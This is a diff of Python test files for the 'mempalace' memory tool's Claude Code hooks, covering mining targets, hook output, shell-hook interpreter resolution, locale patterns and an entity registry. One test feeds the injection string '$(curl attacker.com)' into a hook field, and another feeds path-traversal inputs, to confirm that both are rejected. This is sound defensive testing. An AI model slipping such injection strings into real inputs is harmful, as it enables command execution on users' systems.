path = "/Users/alice/.claude/projects/-Users-alice-code-MyApp/session.jsonl"
|
||||
assert _wing_from_transcript_path(path) == "wing_myapp"
|
||||
|
||||
|
||||
def test_wing_from_transcript_path_nested_deep():
|
||||
path = "/home/bob/.claude/projects/-home-bob-work-clients-acme-frontend/session.jsonl"
|
||||
assert _wing_from_transcript_path(path) == "wing_frontend"
|
||||
|
||||
|
||||
# --- _log ---
|
||||
|
||||
|
||||
def test_output_writes_to_real_stdout_fd_when_mcp_server_loaded():
|
||||
"""_output() must reach fd 1 even when mcp_server has redirected sys.stdout."""
|
||||
import types
|
||||
|
||||
fake_module = types.ModuleType("mempalace.mcp_server")
|
||||
|
||||
read_fd, write_fd = os.pipe()
|
||||
try:
|
||||
fake_module._REAL_STDOUT_FD = write_fd
|
||||
with patch.dict("sys.modules", {"mempalace.mcp_server": fake_module}):
|
||||
from mempalace.hooks_cli import _output
|
||||
|
||||
_output({"systemMessage": "test"})
|
||||
|
||||
os.close(write_fd)
|
||||
written = b""
|
||||
while True:
|
||||
chunk = os.read(read_fd, 4096)
|
||||
if not chunk:
|
||||
break
|
||||
written += chunk
|
||||
finally:
|
||||
os.close(read_fd)
|
||||
|
||||
data = json.loads(written.decode())
|
||||
assert data["systemMessage"] == "test"
|
||||
|
||||
|
||||
def test_output_falls_back_to_fd1_when_mcp_server_absent():
|
||||
"""_output() writes to fd 1 directly when mcp_server is not loaded."""
|
||||
read_fd, write_fd = os.pipe()
|
||||
try:
|
||||
orig_fd1 = os.dup(1)
|
||||
os.dup2(write_fd, 1)
|
||||
os.close(write_fd)
|
||||
try:
|
||||
modules_without_mcp = {
|
||||
k: v for k, v in __import__("sys").modules.items() if "mcp_server" not in k
|
||||
}
|
||||
with patch.dict("sys.modules", modules_without_mcp, clear=True):
|
||||
from mempalace.hooks_cli import _output
|
||||
|
||||
_output({"continue": True})
|
||||
finally:
|
||||
os.dup2(orig_fd1, 1)
|
||||
os.close(orig_fd1)
|
||||
except Exception:
|
||||
os.close(read_fd)
|
||||
raise
|
||||
|
||||
written = b""
|
||||
while True:
|
||||
chunk = os.read(read_fd, 4096)
|
||||
if not chunk:
|
||||
break
|
||||
written += chunk
|
||||
os.close(read_fd)
|
||||
|
||||
data = json.loads(written.decode())
|
||||
assert data["continue"] is True
|
||||
|
||||
|
||||
def test_log_writes_to_hook_log(tmp_path):
|
||||
with patch("mempalace.hooks_cli.STATE_DIR", tmp_path):
|
||||
_log("test message")
|
||||
@@ -247,7 +435,7 @@ def test_maybe_auto_ingest_no_env(tmp_path):
|
||||
|
||||
|
||||
def test_maybe_auto_ingest_with_env(tmp_path):
|
||||
"""With MEMPAL_DIR set to a valid directory, spawns subprocess."""
|
||||
"""With MEMPAL_DIR set, spawns mine in projects mode against that dir."""
|
||||
mempal_dir = tmp_path / "project"
|
||||
mempal_dir.mkdir()
|
||||
with patch.dict("os.environ", {"MEMPAL_DIR": str(mempal_dir)}):
|
||||
@@ -256,18 +444,96 @@ def test_maybe_auto_ingest_with_env(tmp_path):
|
||||
with patch("mempalace.hooks_cli.subprocess.Popen") as mock_popen:
|
||||
_maybe_auto_ingest()
|
||||
mock_popen.assert_called_once()
|
||||
cmd = mock_popen.call_args[0][0]
|
||||
assert "mine" in cmd
|
||||
assert str(mempal_dir.resolve()) in cmd
|
||||
assert cmd[cmd.index("--mode") + 1] == "projects"
|
||||
|
||||
|
||||
def test_maybe_auto_ingest_with_transcript(tmp_path):
|
||||
"""Falls back to transcript directory when MEMPAL_DIR is not set."""
|
||||
transcript = tmp_path / "t.jsonl"
|
||||
def test_maybe_auto_ingest_uses_mempalace_python(tmp_path):
|
||||
"""Spawned mine command uses _mempalace_python(), not bare sys.executable.
|
||||
|
||||
Hook subprocesses inherit the harness PATH which on GUI-launched
|
||||
Claude Code may resolve to a system Python without chromadb. The
|
||||
interpreter used here must be the same one the hook itself runs
|
||||
under (typically the venv that owns mempalace).
|
||||
"""
|
||||
mempal_dir = tmp_path / "project"
|
||||
mempal_dir.mkdir()
|
||||
with patch.dict("os.environ", {"MEMPAL_DIR": str(mempal_dir)}):
|
||||
with patch("mempalace.hooks_cli.STATE_DIR", tmp_path):
|
||||
with patch("mempalace.hooks_cli._MINE_PID_FILE", tmp_path / "mine.pid"):
|
||||
with patch(
|
||||
"mempalace.hooks_cli._mempalace_python", return_value="/fake/venv/python"
|
||||
):
|
||||
with patch("mempalace.hooks_cli.subprocess.Popen") as mock_popen:
|
||||
_maybe_auto_ingest()
|
||||
cmd = mock_popen.call_args[0][0]
|
||||
assert cmd[0] == "/fake/venv/python"
|
||||
|
||||
|
||||
def test_mine_sync_with_env_uses_projects_mode(tmp_path):
|
||||
"""Precompact sync path uses projects mode when MEMPAL_DIR is set."""
|
||||
mempal_dir = tmp_path / "project"
|
||||
mempal_dir.mkdir()
|
||||
with patch.dict("os.environ", {"MEMPAL_DIR": str(mempal_dir)}):
|
||||
with patch("mempalace.hooks_cli.STATE_DIR", tmp_path):
|
||||
with patch("mempalace.hooks_cli.subprocess.run") as mock_run:
|
||||
_mine_sync()
|
||||
mock_run.assert_called_once()
|
||||
cmd = mock_run.call_args[0][0]
|
||||
assert cmd[cmd.index("--mode") + 1] == "projects"
|
||||
|
||||
|
||||
def test_mine_sync_uses_mempalace_python(tmp_path):
|
||||
"""Sync mine command uses _mempalace_python(), not bare sys.executable."""
|
||||
mempal_dir = tmp_path / "project"
|
||||
mempal_dir.mkdir()
|
||||
with patch.dict("os.environ", {"MEMPAL_DIR": str(mempal_dir)}):
|
||||
with patch("mempalace.hooks_cli.STATE_DIR", tmp_path):
|
||||
with patch("mempalace.hooks_cli._mempalace_python", return_value="/fake/venv/python"):
|
||||
with patch("mempalace.hooks_cli.subprocess.run") as mock_run:
|
||||
_mine_sync()
|
||||
cmd = mock_run.call_args[0][0]
|
||||
assert cmd[0] == "/fake/venv/python"
|
||||
|
||||
|
||||
def test_maybe_auto_ingest_ignores_transcript_arg_path(tmp_path):
|
||||
"""_maybe_auto_ingest does NOT mine the transcript directory.
|
||||
|
||||
Transcript convos are handled by _ingest_transcript (called separately
|
||||
in hook handlers). _maybe_auto_ingest only handles MEMPAL_DIR — even
|
||||
when invoked in a context where a transcript is also being processed,
|
||||
no second spawn for the transcript dir should appear here.
|
||||
"""
|
||||
convo_dir = tmp_path / "convos"
|
||||
convo_dir.mkdir()
|
||||
transcript = convo_dir / "session.jsonl"
|
||||
transcript.write_text("")
|
||||
with patch.dict("os.environ", {}, clear=True):
|
||||
with patch("mempalace.hooks_cli.STATE_DIR", tmp_path):
|
||||
with patch("mempalace.hooks_cli._MINE_PID_FILE", tmp_path / "mine.pid"):
|
||||
with patch("mempalace.hooks_cli.subprocess.Popen") as mock_popen:
|
||||
_maybe_auto_ingest(str(transcript))
|
||||
mock_popen.assert_called_once()
|
||||
_maybe_auto_ingest()
|
||||
mock_popen.assert_not_called()
|
||||
|
||||
|
||||
def test_mine_sync_ignores_transcript(tmp_path):
|
||||
"""_mine_sync does not run a convos mine for the transcript dir.
|
||||
|
||||
The precompact transcript ingest is the responsibility of
|
||||
_ingest_transcript; routing it through _mine_sync would stack a
|
||||
second 60s timeout against the harness 30s ceiling.
|
||||
"""
|
||||
convo_dir = tmp_path / "convos"
|
||||
convo_dir.mkdir()
|
||||
transcript = convo_dir / "session.jsonl"
|
||||
transcript.write_text("")
|
||||
with patch.dict("os.environ", {}, clear=True):
|
||||
with patch("mempalace.hooks_cli.STATE_DIR", tmp_path):
|
||||
with patch("mempalace.hooks_cli.subprocess.run") as mock_run:
|
||||
_mine_sync()
|
||||
mock_run.assert_not_called()
|
||||
|
||||
|
||||
def test_maybe_auto_ingest_oserror(tmp_path):
|
||||
@@ -326,31 +592,78 @@ def test_mine_already_running_corrupt_file(tmp_path):
|
||||
assert _mine_already_running() is False
|
||||
|
||||
|
||||
# --- _get_mine_dir ---
|
||||
# --- _get_mine_targets ---
|
||||
|
||||
|
||||
def test_get_mine_dir_mempal_dir(tmp_path):
|
||||
"""MEMPAL_DIR takes priority over transcript_path."""
|
||||
def test_get_mine_targets_mempal_dir_only(tmp_path):
|
||||
"""MEMPAL_DIR alone yields a single projects target, expanded/resolved."""
|
||||
mempal_dir = tmp_path / "project"
|
||||
mempal_dir.mkdir()
|
||||
transcript = tmp_path / "t.jsonl"
|
||||
transcript.write_text("")
|
||||
with patch.dict("os.environ", {"MEMPAL_DIR": str(mempal_dir)}):
|
||||
assert _get_mine_dir(str(transcript)) == str(mempal_dir)
|
||||
targets = _get_mine_targets()
|
||||
assert len(targets) == 1
|
||||
assert Path(targets[0][0]).resolve() == mempal_dir.resolve()
|
||||
assert targets[0][1] == "projects"
|
||||
|
||||
|
||||
def test_get_mine_dir_transcript_fallback(tmp_path):
|
||||
"""Falls back to transcript parent dir when MEMPAL_DIR is not set."""
|
||||
def test_get_mine_targets_mempal_dir_tilde(tmp_path):
|
||||
"""MEMPAL_DIR with a tilde prefix is expanded correctly."""
|
||||
mempal_dir = tmp_path / "project"
|
||||
mempal_dir.mkdir()
|
||||
home = Path.home()
|
||||
try:
|
||||
rel = mempal_dir.relative_to(home)
|
||||
except ValueError:
|
||||
pytest.skip("tmp_path is not under home, cannot build ~-relative path")
|
||||
tilde_path = "~/" + str(rel)
|
||||
with patch.dict("os.environ", {"MEMPAL_DIR": tilde_path}):
|
||||
targets = _get_mine_targets()
|
||||
assert len(targets) == 1
|
||||
assert Path(targets[0][0]).resolve() == mempal_dir.resolve()
|
||||
assert targets[0][1] == "projects"
|
||||
|
||||
|
||||
def test_get_mine_targets_no_transcript_target(tmp_path):
|
||||
"""_get_mine_targets does not emit a convos target for the transcript path.
|
||||
|
||||
Transcript ingestion is owned by _ingest_transcript; emitting it
|
||||
here too would double-mine the same JSONL into a different wing on
|
||||
every hook fire (#1231 review).
|
||||
"""
|
||||
transcript = tmp_path / "t.jsonl"
|
||||
transcript.write_text("")
|
||||
with patch.dict("os.environ", {}, clear=True):
|
||||
assert _get_mine_dir(str(transcript)) == str(tmp_path)
|
||||
targets = _get_mine_targets()
|
||||
assert targets == []
|
||||
|
||||
|
||||
def test_get_mine_dir_empty():
|
||||
"""Returns empty string when nothing is available."""
|
||||
def test_get_mine_targets_only_returns_mempal_dir(tmp_path):
|
||||
"""When MEMPAL_DIR is set, exactly one projects target — never a convos target."""
|
||||
mempal_dir = tmp_path / "project"
|
||||
mempal_dir.mkdir()
|
||||
with patch.dict("os.environ", {"MEMPAL_DIR": str(mempal_dir)}):
|
||||
targets = _get_mine_targets()
|
||||
assert len(targets) == 1
|
||||
assert targets[0][1] == "projects"
|
||||
|
||||
|
||||
def test_validate_transcript_path_traversal_rejected_jsonl(tmp_path):
|
||||
"""Path traversal is rejected even when the path has a .jsonl suffix.
|
||||
|
||||
The pre-fix test used "../../etc/passwd" which lacks an extension and
|
||||
so was rejected by the suffix gate before the traversal check ever
|
||||
fired (Copilot review on #1231). Use a .jsonl path with `..`
|
||||
segments to exercise the traversal guard specifically.
|
||||
"""
|
||||
assert _validate_transcript_path("../t.jsonl") is None
|
||||
assert _validate_transcript_path("a/../b.jsonl") is None
|
||||
assert _validate_transcript_path("/tmp/../etc/t.jsonl") is None
|
||||
|
||||
|
||||
def test_get_mine_targets_empty():
|
||||
"""Returns empty list when MEMPAL_DIR is unset or invalid."""
|
||||
with patch.dict("os.environ", {}, clear=True):
|
||||
assert _get_mine_dir("") == ""
|
||||
assert _get_mine_targets() == []
|
||||
|
||||
|
||||
# --- _parse_harness_input ---
|
||||
@@ -384,12 +697,15 @@ def test_stop_hook_oserror_on_last_save_read(tmp_path):
|
||||
)
|
||||
# Write invalid content to last save file
|
||||
(tmp_path / "test_last_save").write_text("not_a_number")
|
||||
result = _capture_hook_output(
|
||||
hook_stop,
|
||||
{"session_id": "test", "stop_hook_active": False, "transcript_path": str(transcript)},
|
||||
state_dir=tmp_path,
|
||||
)
|
||||
assert result["decision"] == "block"
|
||||
save_result = {"count": 15, "themes": ["testing"]}
|
||||
with patch("mempalace.hooks_cli._save_diary_direct", return_value=save_result):
|
||||
result = _capture_hook_output(
|
||||
hook_stop,
|
||||
{"session_id": "test", "stop_hook_active": False, "transcript_path": str(transcript)},
|
||||
state_dir=tmp_path,
|
||||
)
|
||||
assert "systemMessage" in result
|
||||
assert "15 memories" in result["systemMessage"]
|
||||
|
||||
|
||||
def test_stop_hook_oserror_on_write(tmp_path):
|
||||
@@ -403,18 +719,20 @@ def test_stop_hook_oserror_on_write(tmp_path):
|
||||
def bad_write_text(*args, **kwargs):
|
||||
raise OSError("disk full")
|
||||
|
||||
save_result = {"count": 15, "themes": []}
|
||||
with patch("mempalace.hooks_cli.STATE_DIR", tmp_path):
|
||||
with patch.object(Path, "write_text", bad_write_text):
|
||||
result = _capture_hook_output(
|
||||
hook_stop,
|
||||
{
|
||||
"session_id": "test",
|
||||
"stop_hook_active": False,
|
||||
"transcript_path": str(transcript),
|
||||
},
|
||||
state_dir=tmp_path,
|
||||
)
|
||||
assert result["decision"] == "block"
|
||||
with patch("mempalace.hooks_cli._save_diary_direct", return_value=save_result):
|
||||
with patch.object(Path, "write_text", bad_write_text):
|
||||
result = _capture_hook_output(
|
||||
hook_stop,
|
||||
{
|
||||
"session_id": "test",
|
||||
"stop_hook_active": False,
|
||||
"transcript_path": str(transcript),
|
||||
},
|
||||
state_dir=tmp_path,
|
||||
)
|
||||
assert "systemMessage" in result
|
||||
|
||||
|
||||
# --- hook_precompact with MEMPAL_DIR ---
|
||||
@@ -465,21 +783,33 @@ def test_precompact_with_timeout(tmp_path):
|
||||
|
||||
|
||||
def test_precompact_mines_transcript_dir(tmp_path, monkeypatch):
|
||||
"""Precompact mines transcript directory when no MEMPAL_DIR."""
|
||||
"""Precompact ingests the active transcript via _ingest_transcript.
|
||||
|
||||
With no MEMPAL_DIR, _mine_sync is a no-op; the transcript ingest is
|
||||
the only mining that should fire, and it goes through Popen
|
||||
(background) inside _ingest_transcript. Pre-#1231-review this test
|
||||
asserted against subprocess.run, which corresponded to the
|
||||
duplicate-mine path that has now been removed.
|
||||
"""
|
||||
transcript = tmp_path / "t.jsonl"
|
||||
transcript.write_text("")
|
||||
# _ingest_transcript skips files smaller than 100 bytes, so pad it.
|
||||
transcript.write_text("x" * 200)
|
||||
monkeypatch.delenv("MEMPAL_DIR", raising=False)
|
||||
with patch("mempalace.hooks_cli.subprocess.run") as mock_run:
|
||||
result = _capture_hook_output(
|
||||
hook_precompact,
|
||||
{"session_id": "test", "transcript_path": str(transcript)},
|
||||
state_dir=tmp_path,
|
||||
)
|
||||
with patch("mempalace.hooks_cli.subprocess.Popen") as mock_popen:
|
||||
with patch("mempalace.hooks_cli.subprocess.run") as mock_run:
|
||||
result = _capture_hook_output(
|
||||
hook_precompact,
|
||||
{"session_id": "test", "transcript_path": str(transcript)},
|
||||
state_dir=tmp_path,
|
||||
)
|
||||
assert result == {}
|
||||
mock_run.assert_called_once()
|
||||
# Verify mine dir is the transcript's parent
|
||||
call_args = mock_run.call_args[0][0]
|
||||
assert str(tmp_path) in call_args[-1]
|
||||
mock_run.assert_not_called()
|
||||
mock_popen.assert_called_once()
|
||||
cmd = mock_popen.call_args[0][0]
|
||||
# Mines the transcript's parent dir as convos, into wing "sessions".
|
||||
assert str(tmp_path) in cmd
|
||||
assert cmd[cmd.index("--mode") + 1] == "convos"
|
||||
assert cmd[cmd.index("--wing") + 1] == "sessions"
|
||||
|
||||
|
||||
# --- run_hook ---
|
||||
@@ -603,22 +933,29 @@ def test_validate_transcript_accepts_platform_native_path(tmp_path):
|
||||
|
||||
|
||||
def test_stop_hook_rejects_injected_stop_hook_active(tmp_path):
|
||||
"""stop_hook_active with shell injection string should not cause issues."""
|
||||
"""stop_hook_active with shell injection string should not cause pass-through.
|
||||
|
||||
Verifies the injected value is not treated as truthy — the save path runs
|
||||
instead of being short-circuited. Mocks _save_diary_direct so we can assert
|
||||
it was invoked regardless of silent vs legacy save mode.
|
||||
"""
|
||||
transcript = tmp_path / "t.jsonl"
|
||||
_write_transcript(
|
||||
transcript,
|
||||
[{"message": {"role": "user", "content": f"msg {i}"}} for i in range(SAVE_INTERVAL)],
|
||||
)
|
||||
# Simulate a malicious stop_hook_active value
|
||||
result = _capture_hook_output(
|
||||
hook_stop,
|
||||
{
|
||||
"session_id": "test",
|
||||
"stop_hook_active": "$(curl attacker.com)",
|
||||
"transcript_path": str(transcript),
|
||||
},
|
||||
state_dir=tmp_path,
|
||||
)
|
||||
# The injected value is not "true"/"1"/"yes", so the hook should NOT pass through
|
||||
# It should count messages and block at the interval
|
||||
assert result["decision"] == "block"
|
||||
with patch(
|
||||
"mempalace.hooks_cli._save_diary_direct", return_value={"count": 1, "themes": []}
|
||||
) as mock_save:
|
||||
_capture_hook_output(
|
||||
hook_stop,
|
||||
{
|
||||
"session_id": "test",
|
||||
"stop_hook_active": "$(curl attacker.com)",
|
||||
"transcript_path": str(transcript),
|
||||
},
|
||||
state_dir=tmp_path,
|
||||
)
|
||||
# The injected value is not "true"/"1"/"yes", so the hook should NOT pass through.
|
||||
# Save must have been attempted.
|
||||
assert mock_save.called
|
||||
|
||||
@@ -0,0 +1,170 @@
|
||||
"""
|
||||
Integration tests for the legacy ``.sh`` hook scripts.
|
||||
|
||||
The shell hooks do their own Python resolution (unlike the Python
|
||||
``hooks_cli.py`` which uses ``sys.executable`` — trivially correct).
|
||||
GUI-launched harnesses on macOS provide a minimal PATH that often lacks
|
||||
the Python where ``mempalace`` is installed, so the shell path needs to:
|
||||
|
||||
1. honour ``$MEMPAL_PYTHON`` as an explicit user override;
|
||||
2. fall back to ``$(command -v python3)`` / bare ``python3``;
|
||||
3. *never* crash the hook when the resolved interpreter can't import
|
||||
mempalace — log and skip the auto-ingest instead, so Claude Code
|
||||
doesn't see a non-zero exit from its Stop hook.
|
||||
|
||||
These regressions matter because every failure mode they catch produced
|
||||
silent breakage in production — the user's hook appeared to "not fire"
|
||||
but was actually crashing deep in a PATH-resolution edge case.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import json
|
||||
import os
|
||||
import stat
|
||||
import subprocess
|
||||
import sys
|
||||
from pathlib import Path
|
||||
|
||||
import pytest
|
||||
|
||||
REPO_ROOT = Path(__file__).resolve().parent.parent
|
||||
SAVE_HOOK = REPO_ROOT / "hooks" / "mempal_save_hook.sh"
|
||||
PRECOMPACT_HOOK = REPO_ROOT / "hooks" / "mempal_precompact_hook.sh"
|
||||
|
||||
|
||||
pytestmark = pytest.mark.skipif(os.name == "nt", reason="bash hook scripts are POSIX-only")
|
||||
|
||||
|
||||
# ── helpers ───────────────────────────────────────────────────────────────
|
||||
|
||||
|
||||
def _write_fake_python(
|
||||
path: Path, *, can_import_mempalace: bool = False, marker_file: Path | None = None
|
||||
) -> Path:
|
||||
"""Create a python3 shim that proxies to the real interpreter so
|
||||
the hook's JSON-parsing calls still work, but fails ``-c 'import
|
||||
mempalace'`` / ``-m mempalace`` when ``can_import_mempalace`` is
|
||||
False.
|
||||
|
||||
Every invocation appends the shim name to ``marker_file`` so tests
|
||||
can prove which interpreter the hook invoked — using a file because
|
||||
the hook pipes some python calls to ``2>/dev/null``, so stderr
|
||||
markers are unreliable."""
|
||||
real_python = sys.executable
|
||||
marker = str(marker_file) if marker_file is not None else ""
|
||||
shim_src = f"""#!/bin/bash
|
||||
# Fake python3 shim: proxy to the real interpreter, drop a marker,
|
||||
# and simulate a missing mempalace install when configured that way.
|
||||
MARKER_FILE="{marker}"
|
||||
if [ -n "$MARKER_FILE" ]; then
|
||||
echo "{path.name}" >> "$MARKER_FILE"
|
||||
fi
|
||||
CAN_IMPORT={"1" if can_import_mempalace else "0"}
|
||||
# Simulate the "mempalace is not installed in this interpreter" case.
|
||||
if [ "$CAN_IMPORT" = "0" ]; then
|
||||
if [ "$1" = "-c" ] && echo "$2" | grep -q "import mempalace"; then
|
||||
exit 1
|
||||
fi
|
||||
if [ "$1" = "-m" ] && [ "$2" = "mempalace" ]; then
|
||||
exit 1
|
||||
fi
|
||||
fi
|
||||
# Everything else — JSON parsing, heredoc stdin, etc — delegate to real python.
|
||||
exec "{real_python}" "$@"
|
||||
"""
|
||||
path.write_text(shim_src)
|
||||
path.chmod(path.stat().st_mode | stat.S_IXUSR | stat.S_IXGRP | stat.S_IXOTH)
|
||||
return path
|
||||
|
||||
|
||||
def _run_hook(
|
||||
script: Path,
|
||||
stdin_json: dict,
|
||||
*,
|
||||
env_overrides: dict | None = None,
|
||||
path_prefix: list[Path] | None = None,
|
||||
) -> subprocess.CompletedProcess:
|
||||
"""Invoke a shell hook with a minimal controlled environment."""
|
||||
env = {
|
||||
# Give the hook a clean slate — no inherited MEMPAL_* vars.
|
||||
"HOME": os.environ.get("HOME", "/tmp"),
|
||||
"PATH": os.environ.get("PATH", "/usr/bin:/bin"),
|
||||
}
|
||||
if path_prefix:
|
||||
env["PATH"] = os.pathsep.join(str(p) for p in path_prefix) + os.pathsep + env["PATH"]
|
||||
if env_overrides:
|
||||
env.update(env_overrides)
|
||||
return subprocess.run(
|
||||
["bash", str(script)],
|
||||
input=json.dumps(stdin_json),
|
||||
capture_output=True,
|
||||
text=True,
|
||||
env=env,
|
||||
timeout=30,
|
||||
)
|
||||
|
||||
|
||||
# ── MEMPAL_PYTHON resolution contract ────────────────────────────────────
|
||||
|
||||
|
||||
class TestMempalPythonOverride:
|
||||
def test_explicit_override_wins_over_path(self, tmp_path):
|
||||
"""If MEMPAL_PYTHON is set and executable, the hook must use it
|
||||
in preference to whatever is on PATH."""
|
||||
marker = tmp_path / "markers.log"
|
||||
fake = _write_fake_python(
|
||||
tmp_path / "override_python",
|
||||
can_import_mempalace=True,
|
||||
marker_file=marker,
|
||||
)
|
||||
result = _run_hook(
|
||||
SAVE_HOOK,
|
||||
{"session_id": "abc", "stop_hook_active": False, "transcript_path": ""},
|
||||
env_overrides={"MEMPAL_PYTHON": str(fake), "HOME": str(tmp_path)},
|
||||
)
|
||||
assert (
|
||||
result.returncode == 0
|
||||
), f"hook exited non-zero: stderr={result.stderr!r} stdout={result.stdout!r}"
|
||||
invocations = marker.read_text().splitlines() if marker.exists() else []
|
||||
assert (
|
||||
"override_python" in invocations
|
||||
), f"MEMPAL_PYTHON override was not used. Marker log: {invocations!r}"
|
||||
|
||||
def test_ignores_override_when_not_executable(self, tmp_path):
|
||||
"""If MEMPAL_PYTHON is set but the file isn't executable, the
|
||||
hook must fall back to PATH rather than blow up with a
|
||||
'permission denied'."""
|
||||
bogus = tmp_path / "not_executable"
|
||||
bogus.write_text("# not a python")
|
||||
# Do NOT chmod +x — the hook should notice and skip.
|
||||
result = _run_hook(
|
||||
SAVE_HOOK,
|
||||
{"session_id": "abc", "stop_hook_active": False, "transcript_path": ""},
|
||||
env_overrides={"MEMPAL_PYTHON": str(bogus), "HOME": str(tmp_path)},
|
||||
)
|
||||
assert (
|
||||
result.returncode == 0
|
||||
), f"hook crashed on non-executable MEMPAL_PYTHON: {result.stderr!r}"
|
||||
|
||||
def test_falls_back_to_path_when_unset(self, tmp_path):
|
||||
"""With MEMPAL_PYTHON unset, the hook uses whatever ``python3``
|
||||
is found on PATH. Prove this by putting a marker-emitting shim
|
||||
first on PATH."""
|
||||
marker = tmp_path / "markers.log"
|
||||
fake = _write_fake_python(
|
||||
tmp_path / "python3",
|
||||
can_import_mempalace=True,
|
||||
marker_file=marker,
|
||||
)
|
||||
result = _run_hook(
|
||||
SAVE_HOOK,
|
||||
{"session_id": "abc", "stop_hook_active": False, "transcript_path": ""},
|
||||
env_overrides={"MEMPAL_PYTHON": "", "HOME": str(tmp_path)},
|
||||
path_prefix=[fake.parent],
|
||||
)
|
||||
assert result.returncode == 0
|
||||
invocations = marker.read_text().splitlines() if marker.exists() else []
|
||||
assert (
|
||||
"python3" in invocations
|
||||
), f"fallback-to-PATH did not use the shimmed python3. Marker log: {invocations!r}"
|
||||
@@ -56,6 +56,7 @@ def test_dialect_compress_samples():
|
||||
"de": "Wir haben beschlossen, von SQLite auf PostgreSQL zu migrieren für bessere gleichzeitige Schreibvorgänge. Ben hat den PR gestern genehmigt.",
|
||||
"zh-CN": "我们决定从SQLite迁移到PostgreSQL以获得更好的并发写入。Ben昨天批准了PR。",
|
||||
"id": "Kami memutuskan untuk migrasi dari SQLite ke PostgreSQL untuk penulisan bersamaan yang lebih baik. Ben telah menyetujui PR kemarin.",
|
||||
"be": "Мы вырашылі перайсці з SQLite на PostgreSQL для паляпшэння паралельнага запісу. Зміцер ухваліў PR ўчора.",
|
||||
}
|
||||
|
||||
for lang, text in samples.items():
|
||||
@@ -85,3 +86,76 @@ def test_from_config_defaults_to_english(tmp_path):
|
||||
|
||||
d = Dialect.from_config(str(config_path))
|
||||
assert d.lang == "en", f"Expected 'en', got '{d.lang}' -- state leak from prior load_lang"
|
||||
|
||||
|
||||
def test_de_entity_section_loads():
|
||||
"""German entity section loads all pattern lists non-empty."""
|
||||
from mempalace.i18n import get_entity_patterns
|
||||
|
||||
p = get_entity_patterns(("de",))
|
||||
assert p["candidate_patterns"], "de: empty candidate_patterns"
|
||||
assert p["multi_word_patterns"], "de: empty multi_word_patterns"
|
||||
assert p["person_verb_patterns"], "de: empty person_verb_patterns"
|
||||
assert p["pronoun_patterns"], "de: empty pronoun_patterns"
|
||||
assert p["dialogue_patterns"], "de: empty dialogue_patterns"
|
||||
assert p["direct_address_patterns"], "de: empty direct_address_patterns"
|
||||
assert p["project_verb_patterns"], "de: empty project_verb_patterns"
|
||||
assert len(p["stopwords"]) > 50, f"de: stopwords too short ({len(p['stopwords'])})"
|
||||
|
||||
|
||||
def test_es_entity_section_loads():
|
||||
"""Spanish entity section loads all pattern lists non-empty."""
|
||||
from mempalace.i18n import get_entity_patterns
|
||||
|
||||
p = get_entity_patterns(("es",))
|
||||
assert p["candidate_patterns"], "es: empty candidate_patterns"
|
||||
assert p["multi_word_patterns"], "es: empty multi_word_patterns"
|
||||
assert p["person_verb_patterns"], "es: empty person_verb_patterns"
|
||||
assert p["pronoun_patterns"], "es: empty pronoun_patterns"
|
||||
assert p["dialogue_patterns"], "es: empty dialogue_patterns"
|
||||
assert p["direct_address_patterns"], "es: empty direct_address_patterns"
|
||||
assert p["project_verb_patterns"], "es: empty project_verb_patterns"
|
||||
assert len(p["stopwords"]) > 50, f"es: stopwords too short ({len(p['stopwords'])})"
|
||||
|
||||
|
||||
def test_fr_entity_section_loads():
|
||||
"""French entity section loads all pattern lists non-empty."""
|
||||
from mempalace.i18n import get_entity_patterns
|
||||
|
||||
p = get_entity_patterns(("fr",))
|
||||
assert p["candidate_patterns"], "fr: empty candidate_patterns"
|
||||
assert p["multi_word_patterns"], "fr: empty multi_word_patterns"
|
||||
assert p["person_verb_patterns"], "fr: empty person_verb_patterns"
|
||||
assert p["pronoun_patterns"], "fr: empty pronoun_patterns"
|
||||
assert p["dialogue_patterns"], "fr: empty dialogue_patterns"
|
||||
assert p["direct_address_patterns"], "fr: empty direct_address_patterns"
|
||||
assert p["project_verb_patterns"], "fr: empty project_verb_patterns"
|
||||
assert len(p["stopwords"]) > 50, f"fr: stopwords too short ({len(p['stopwords'])})"
|
||||
|
||||
|
||||
def test_direct_address_key_is_singular_string_for_all_locales():
|
||||
"""Schema invariant: any locale declaring direct-address uses the singular
|
||||
``direct_address_pattern`` (str), never the plural ``direct_address_patterns`` (list).
|
||||
|
||||
The loader at ``mempalace/i18n/__init__.py:209-210`` only reads the singular key;
|
||||
the plural form is the output schema of the merged dict, not the input schema.
|
||||
Declaring the plural form in a locale file silently drops every direct-address
|
||||
pattern in that locale after load.
|
||||
"""
|
||||
from mempalace.i18n import _load_entity_section, available_languages
|
||||
|
||||
for lang in available_languages():
|
||||
section = _load_entity_section(lang)
|
||||
if not section:
|
||||
continue
|
||||
assert "direct_address_patterns" not in section, (
|
||||
f"{lang}: declares plural 'direct_address_patterns' (list); "
|
||||
f"loader only reads singular 'direct_address_pattern' (str). "
|
||||
f"Collapse the list into one `|`-alternation string and rename the key."
|
||||
)
|
||||
if "direct_address_pattern" in section:
|
||||
val = section["direct_address_pattern"]
|
||||
assert isinstance(
|
||||
val, str
|
||||
), f"{lang}: 'direct_address_pattern' must be str, got {type(val).__name__}"
|
||||
assert val, f"{lang}: 'direct_address_pattern' is empty"
|
||||
|
||||
@@ -0,0 +1,276 @@
|
||||
"""Tests for mempalace.miner.add_to_known_entities.
|
||||
|
||||
Covers the init → miner wire-up: init's confirmed entities merged into
|
||||
``~/.mempalace/known_entities.json`` so the miner's drawer-tagging path
|
||||
recognizes them at mine time.
|
||||
|
||||
Every test redirects the registry path to a tmp_path to avoid touching
|
||||
the real ~/.mempalace/ on the developer's machine.
|
||||
"""
|
||||
|
||||
import json
|
||||
|
||||
import pytest
|
||||
|
||||
from mempalace import miner
|
||||
|
||||
|
||||
@pytest.fixture
|
||||
def temp_registry(tmp_path, monkeypatch):
|
||||
"""Redirect the module-level registry path to a tmp file and reset cache."""
|
||||
registry = tmp_path / "known_entities.json"
|
||||
monkeypatch.setattr(miner, "_ENTITY_REGISTRY_PATH", str(registry))
|
||||
miner._ENTITY_REGISTRY_CACHE.update({"mtime": None, "names": frozenset(), "raw": {}})
|
||||
return registry
|
||||
|
||||
|
||||
# ── fresh-file cases ────────────────────────────────────────────────────
|
||||
|
||||
|
||||
def test_creates_registry_when_absent(temp_registry):
|
||||
assert not temp_registry.exists()
|
||||
miner.add_to_known_entities({"people": ["Alice", "Bob"], "projects": ["foo"]})
|
||||
assert temp_registry.exists()
|
||||
data = json.loads(temp_registry.read_text())
|
||||
assert sorted(data["people"]) == ["Alice", "Bob"]
|
||||
assert data["projects"] == ["foo"]
|
||||
|
||||
|
||||
